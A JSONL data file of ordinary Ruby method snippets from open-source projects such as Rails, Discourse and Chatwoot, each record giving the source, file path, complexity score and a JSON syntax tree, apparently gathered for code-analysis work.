{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/deprecation_test.rb","start_line":28,"raw_source":"def setup\n    @deprecator = ActiveSupport::Deprecation.new\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@deprecator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]},\"new\"]}]}]}","id":"093c6534-ec2f-4f5d-af29-96fab81f593f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/upload.rb","start_line":467,"raw_source":"def self.sha1_from_base62_encoded(encoded_sha1)\n    sha1 = Base62.decode(encoded_sha1).to_s(16)\n\n    if sha1.length > SHA1_LENGTH\n      nil\n    else\n      sha1.rjust(SHA1_LENGTH, \"0\")\n    end\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sha1_from_base62_encoded\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoded_sha1\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sha1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base62\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"encoded_sha1\"]}]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"SHA1_LENGTH\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sha1\"]},\"rjust\",{\"type\":\"const\",\"children\":[null,\"SHA1_LENGTH\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]}","id":"110f60e6-3d5f-4ad8-8073-7ac544346d56"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1199,"raw_source":"def migration\n        @migration ||= load_migration\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@migration\"]},{\"type\":\"send\",\"children\":[null,\"load_migration\"]}]}]}","id":"98afee59-c912-4f3e-a613-fe242dd967a3"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/settings/env_store.rb","start_line":24,"raw_source":"def fetch(name, default_value = NO_ARG, &block)\n        name = name.to_s.upcase\n        args = default_value.eql?(NO_ARG) ? [name] : [name, default_value]\n\n        store.fetch(*args, &block)\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"default_value\",{\"type\":\"const\",\"children\":[null,\"NO_ARG\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"upcase\"]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_value\"]},\"eql?\",{\"type\":\"const\",\"children\":[null,\"NO_ARG\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"default_value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store\"]},\"fetch\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"ca9c8cc5-275e-4cf7-acee-17cbe7b62098"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/invitations_controller.rb","start_line":43,"raw_source":"def destroy\n      @invitation = User.where(registered: false).find(params[:id])\n      if @invitation.destroy\n        flash[:success] = I18n.t(\"admin.invitations_controller.destroy_success\", email: @invitation.email)\n      else\n        flash[:danger] = @invitation.errors_as_sentence\n      end\n      redirect_to admin_invitations_path\n    end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@invitation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"registered\"]},{\"type\":\"false\",\"children\":[]}]}]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.invitations_controller.destroy_success\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"email\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"danger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"errors_as_sentence\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_invitations_path\"]}]}]}]}","id":"90405e37-de5a-4d09-803d-f6736eee83a1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/copilot_message.rb","start_line":30,"raw_source":"def push_event_data\n    {\n      id: id,\n      message: message,\n      message_type: message_type,\n      created_at: created_at.to_i,\n      copilot_thread: copilot_thread.push_event_data\n    }\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"push_event_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"send\",\"children\":[null,\"message_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_at\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"copilot_thread\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"copilot_thread\"]},\"push_event_data\"]}]}]}]}","id":"030c8d39-1a89-4b8f-b397-12a805fe1f7e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/activitypub/process_account_service.rb","start_line":331,"raw_source":"def clear_tombstones!\n    Tombstone.where(account_id: @account.id).delete_all\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"clear_tombstones!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tombstone\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]}]}]},\"delete_all\"]}]}","id":"c8d196e7-4224-41d6-a64e-c555049df371"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/reviewable.rb","start_line":89,"raw_source":"def self.source_for(type)\n    type = type.sti_name if type.is_a?(Class)\n    return UNKNOWN_TYPE_SOURCE if Reviewable.sti_names.exclude?(type)\n\n    DiscoursePluginRegistry\n      .reviewable_types_lookup\n      .find { |r| r[:klass].sti_name == type }\n      &.dig(:plugin) || \"core\"\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"source_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"sti_name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reviewable\"]},\"sti_names\"]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNKNOWN_TYPE_SOURCE\"]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"reviewable_types_lookup\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"klass\"]}]},\"sti_name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},\"dig\",{\"type\":\"sym\",\"children\":[\"plugin\"]}]},{\"type\":\"str\",\"children\":[\"core\"]}]}]}]}","id":"d88563d1-69b1-49e5-a83d-2421c3862a53"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-data-explorer/app/serializers/discourse_data_explorer/query_group_bookmark_serializer.rb","start_line":13,"raw_source":"def cooked\n      data_explorer_query.description\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cooked\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_explorer_query\"]},\"description\"]}]}","id":"fec07988-36ab-47e8-881d-31555279a153"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_helper.rb","start_line":2289,"raw_source":"def fields_for(record_name, record_object = nil, fields_options = nil, &block)\n        fields_options, record_object = record_object, nil if fields_options.nil? && record_object.is_a?(Hash) && record_object.extractable_options?\n        fields_options ||= {}\n        fields_options[:builder] ||= options[:builder]\n        fields_options[:namespace] = options[:namespace]\n        fields_options[:parent_builder] = self\n\n        case record_name\n        when String, Symbol\n          if nested_attributes_association?(record_name)\n            return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)\n          end\n        else\n          record_object = @template._object_for_form_builder(record_name)\n          record_name   = model_name_from_record_or_class(record_object).param_key\n        end\n\n        object_name = @object_name\n        index = if options.has_key?(:index)\n          options[:index]\n        elsif defined?(@auto_index)\n          object_name = object_name.to_s.delete_suffix(\"[]\")\n          @auto_index\n        end\n\n        record_name = if index\n          \"#{object_name}[#{index}][#{record_name}]\"\n        elsif record_name.end_with?(\"[]\")\n          \"#{object_name}[#{record_name[0..-3]}][#{record_object.id}]\"\n        else\n          \"#{object_name}[#{record_name}]\"\n        end\n        fields_options[:child_index] = index\n\n        @template.fields_for(record_name, record_object, fields_options, &block)\n      end","complexity_score":53.9,"ast_json":"{\"type\":\"def\",\"children\":[\"fields_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record_name\"]},{\"type\":\"optarg\",\"children\":[\"record_object\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"fields_options\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_options\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_object\"]},\"extractable_options?\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields_options\"]},{\"type\":\"lvasgn\",\"children\":[\"record_object\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_object\"]},{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields_options\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"builder\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"builder\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"parent_builder\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"const\",\"children\":[null,\"Symbol\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nested_attributes_association?\",{\"type\":\"lvar\",\"children\":[\"record_name\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fields_for_with_nested_attributes\",{\"type\":\"lvar\",\"children\":[\"record_name\"]},{\"type\":\"lvar\",\"children\":[\"record_object\"]},{\"type\":\"lvar\",\"children\":[\"fields_options\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record_object\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"_object_for_form_builder\",{\"type\":\"lvar\",\"children\":[\"record_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"record_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model_name_from_record_or_class\",{\"type\":\"lvar\",\"children\":[\"record_object\"]}]},\"param_key\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"object_name\",{\"type\":\"ivar\",\"children\":[\"@object_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"index\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auto_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]},\"to_s\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"[]\"]}]}]},{\"type\":\"ivar\",\"children\":[\"@auto_index\"]}]},null]}]}]},{\"type\":\"lvasgn\",\"children\":[\"record_name\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\"][\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_name\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"[]\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_name\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-3]}]}]}]},{\"type\":\"str\",\"children\":[\"][\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_object\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_name\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"child_index\"]},{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template\"]},\"fields_for\",{\"type\":\"lvar\",\"children\":[\"record_name\"]},{\"type\":\"lvar\",\"children\":[\"record_object\"]},{\"type\":\"lvar\",\"children\":[\"fields_options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"453e8041-876e-4132-be5c-27087a8bf0c3"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/session_controller.rb","start_line":144,"raw_source":"def test_second_factor_restricted_route\n      target_user = User.find_by_username(params[:username]) || current_user\n      raise \"user required\" if !target_user\n      result =\n        run_second_factor!(TestSecondFactorAction, target_user: target_user) do |manager|\n          manager.allow_backup_codes! if params[:allow_backup_codes]\n        end\n      if result.no_second_factors_enabled?\n        render json: { result: \"no_second_factors_enabled\" }\n      else\n        render json: { result: \"second_factor_auth_completed\" }\n      end\n    rescue StandardError => e\n      # Normally this would be checked by the consumer before calling `run_second_factor!`\n      # but since this is a test route, we allow passing a bad value into the API, catch the error\n      # and return a JSON response to assert against.\n      if e.message == \"running 2fa against another user is not allowed\"\n        render json: { result: \"wrong user\" }, status: :bad_request\n      else\n        raise e\n      end\n    end","complexity_score":34.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_second_factor_restricted_route\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by_username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_user\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"user required\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_second_factor!\",{\"type\":\"const\",\"children\":[null,\"TestSecondFactorAction\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user\"]},{\"type\":\"lvar\",\"children\":[\"target_user\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"manager\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"allow_backup_codes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"allow_backup_codes!\"]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"no_second_factors_enabled?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"no_second_factors_enabled\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"second_factor_auth_completed\"]}]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]},\"==\",{\"type\":\"str\",\"children\":[\"running 2fa against another user is not allowed\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"wrong user\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"79166560-378a-4144-ba9c-3441ca8b733a"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/concerns/state_machine_job.rb","start_line":62,"raw_source":"def self.state(name, to: nil, wait: nil, &block)\n      states[name] = { to:, wait:, block: }\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwoptarg\",\"children\":[\"to\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"wait\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"states\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"lvar\",\"children\":[\"wait\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"block\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"e4ae8998-67a7-4a31-ae0f-4269899a2488"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/extension_test.rb","start_line":26,"raw_source":"def test_named_two_extensions_on_habtm\n    assert_equal projects(:action_controller), developers(:david).projects_extended_by_name_twice.find_most_recent\n    assert_equal projects(:active_record), developers(:david).projects_extended_by_name_twice.find_least_recent\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_named_two_extensions_on_habtm\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"projects\",{\"type\":\"sym\",\"children\":[\"action_controller\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"projects_extended_by_name_twice\"]},\"find_most_recent\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"projects\",{\"type\":\"sym\",\"children\":[\"active_record\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"developers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"projects_extended_by_name_twice\"]},\"find_least_recent\"]}]}]}]}","id":"07b7968c-635b-4213-9e5f-c4cd3ea2993d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/admin/individual_principals/edit.rb","start_line":57,"raw_source":"def add_to_project!(project_name, as:)\n          open_projects_tab!\n          select_project! project_name\n          Array(as).each { |role| check role }\n          click_on \"Add\"\n\n          expect_project(project_name)\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_project!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_name\"]},{\"type\":\"kwarg\",\"children\":[\"as\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"open_projects_tab!\"]},{\"type\":\"send\",\"children\":[null,\"select_project!\",{\"type\":\"lvar\",\"children\":[\"project_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"as\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]}]},{\"type\":\"send\",\"children\":[null,\"check\",{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"str\",\"children\":[\"Add\"]}]},{\"type\":\"send\",\"children\":[null,\"expect_project\",{\"type\":\"lvar\",\"children\":[\"project_name\"]}]}]}]}","id":"a493df78-3880-484f-8f6f-4bbd6963379c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/twilio/webhook_setup_service.rb","start_line":48,"raw_source":"def twilio_client\n    @twilio_client ||= ::Twilio::REST::Client.new(channel.account_sid, channel.auth_token)\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"twilio_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@twilio_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Twilio\"]},\"REST\"]},\"Client\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"account_sid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"auth_token\"]}]}]}]}","id":"fb8d78c9-8b8f-4b6f-9a35-0bc4a1468c17"}
